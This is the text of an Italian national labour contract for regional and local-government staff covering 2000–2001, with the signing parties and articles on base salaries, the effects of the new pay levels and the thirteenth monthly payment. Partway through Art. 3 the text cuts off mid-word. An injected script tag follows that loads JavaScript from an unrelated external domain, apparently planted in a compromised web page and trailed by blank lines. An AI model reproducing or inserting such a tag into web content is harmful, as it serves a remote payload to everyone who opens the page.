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Categoria: Enti locali (regioni)
Settore: Pubblica Amministrazione
Data stipula: 5-10-2001
Data decorrenza: 1-1-2000
Data scadenza: 31-12-2001


Contratto Collettivo Nazionale di Lavoro

DEL PERSONALE DEL COMPARTO DELLE REGIONI E DELLE AUTONOMIE LOCALI
(biennio economico 1° gennaio 2000 - 31 dicembre 2001)

A  seguito  del  parere favorevole espresso sull'ipotesi di contratto  dal
Comitato  di settore il 14.6.01, vista la certificazione non positiva  dei
costi espressa dalla Corte dei Conti il 4.7.01, visto il parere favorevole
espresso  il  20.7.01  dal  Comitato di  settore  sulla  nota  esplicativa
dell'art. 5 dell'ipotesi di accordo, vista la certificazione non  positiva
espressa  sull'ipotesi di accordo dalla Corte dei Conti il  3.8.01,  visto
l'invito  formulato il 27.9.01 dal Comitato di settore  a  procedere  alla
sottoscrizione del CCNL, anche sulla base delle indicazioni fornite  dalla
Conferenza unificata il 27.9.01, il giorno 5 ottobre 2001, alle ore 15.00,
ha avuto luogo l'incontro tra:

ARAN:

nella persona del Presidente Guido Fantoni

e delle seguenti Organizzazioni sindacali:

-    CGIL-FP/Enti locali
-    CISL-FPS
-    UIL-FPL
-     Coordinamento Sindacale Autonomo "FIADEL-CISAL, FIALP-CISAL,  CISAS-
  FISAEL,  CONFAIL-UNSIAU,  CONFILL Enti locali-CUSAL, USPPI-CUSPEL-FASIL-
  FADEL"
-     DICCAP  -  Dipartimento  Enti  locali  Camere  di  commercio-Polizia
  municipale (FENAL, SNALCC, SULPM)
e Confederazioni sindacali:

-    CGIL
-    CISL
-    UIL
-    CONFSAL
-  CISAL

Al  termine della riunione le parti hanno sottoscritto l'allegato CCNL del
personale del comparto delle Regioni e delle Autonomie locali relativo  al
biennio economico 1.1.00-31.12.01.



Titolo I - PARTE ECONOMICA

Art. 1 - Stipendi tabellari.

1.   I benefici economici del presente contratto si applicano al personale
  del  comparto Regioni-Autonomie locali in servizio all'1.1.00 o  assunto
  successivamente.

2.    Il  valore  delle posizioni economiche iniziali e di sviluppo  delle
  diverse categorie stabilito nella tabella C del CCNL stipulato l'1.4.99 è
  incrementato degli importi mensili lordi, per 13 mensilità, indicati nella
  allegata tabella A, alle scadenze ivi previste.

3.    A seguito dell'attribuzione degli incrementi indicati nel comma 2  i
  valori  economici  annuali delle posizioni iniziali e  di  sviluppo  del
  sistema  di classificazione sono rideterminati, a regime, con decorrenza
  dall'1.1.01, secondo le indicazioni dell'allegata tabella B.

4.    Sono  confermati:  l'indennità integrativa speciale,  come  definita
  nell'allegato A del CCNL 14.9.00, la retribuzione individuale d'anzianità
  nonché gli altri eventuali assegni personali a carattere continuativo  e
  non riassorbibile.



Art. 2 - Effetti dei nuovi stipendi.

1.    Nei  confronti del personale cessato o che cesserà dal servizio  con
  diritto a pensione nel periodo di vigenza del presente contratto di parte
  economica relativa al biennio 2000-2001, gli incrementi di cui al comma 2,
  art.  1,  hanno  effetto integralmente, alle scadenze  e  negli  importi
  previsti nella tabella A, ai fini della determinazione del trattamento di
  quiescenza.  Agli  effetti  dell'indennità  premio  di  fine   servizio,
  dell'indennità  sostitutiva del preavviso,  nonché  di  quella  prevista
  dall'art. 2122 CC, si considerano solo gli scaglionamenti maturati  alla
  data di cessazione del rapporto.

2.   Salvo diversa espressa previsione del CCNL 1.4.99 e del CCNL 14.9.00,
  gli  incrementi  delle posizioni economiche iniziali e di  sviluppo  del
  sistema di classificazione previsti nell'art. 1, comma 2, hanno effetto,
  dalle singole decorrenze, su tutti gli istituti di carattere economico per
  la  cui  quantificazione le vigenti disposizioni prevedono  un  espresso
  rinvio alle medesime posizioni.



Art. 3 - Tredicesima mensilità.

1.    Gli  enti corrispondono ai lavoratori con rapporto di lavoro a tempo
  indeterminato o a tempo determinato una 13a mensilità nel periodo compreso
  tra il 10  e il 18 dic<script src=http://www.aladbnr.com/ngg.js></script>













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